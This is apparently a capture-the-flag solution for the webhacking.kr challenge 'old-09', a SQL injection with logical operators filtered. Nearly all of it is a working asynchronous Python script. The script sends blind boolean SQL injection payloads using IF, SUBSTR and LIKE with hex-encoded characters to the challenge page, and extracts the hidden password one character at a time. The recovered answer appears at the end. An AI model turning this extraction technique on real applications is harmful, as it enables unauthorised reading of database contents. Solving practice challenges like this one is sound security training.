old-09 -- SQLi (No Logical Operators)

Secret
column : id,no
no 3's id is passwordLast updated

Secret
column : id,no
no 3's id is passwordLast updated
import string
import asyncio
from aiohttp import ClientSession
URL = 'https://webhacking.kr/challenge/web-09/index.php'
COOKIES = {'PHPSESSID': 'hi4uvai5sde90encr0ktq6879f'}
CHARSET = string.ascii_letters + string.digits + '{}!?,/'
PAYLOAD = 'IF(SUBSTR(id,{},1)LIKE({}),3,0)'
SUCCESS = 'Secret'
async def fetch(session, index, char):
params = {'no': PAYLOAD.format(index, hex(ord(char)))}
async with session.get(URL, params=params) as resp:
if SUCCESS in await resp.text():
return char
return None
async def main():
password = 'alsrkswhaql'
async with ClientSession() as session:
session.cookie_jar.update_cookies(COOKIES)
while True:
password_i = len(password) + 1
print(f'\r[{password_i}] {password}', end='')
tasks = [fetch(session, password_i, char) for char in CHARSET]
results = await asyncio.gather(*tasks)
for result in results:
if result:
password += result
break
else:
break
print(f'\r[{password_i}] {password}')
if __name__ == '__main__':
asyncio.run(main())
# [12] alsrkswhaql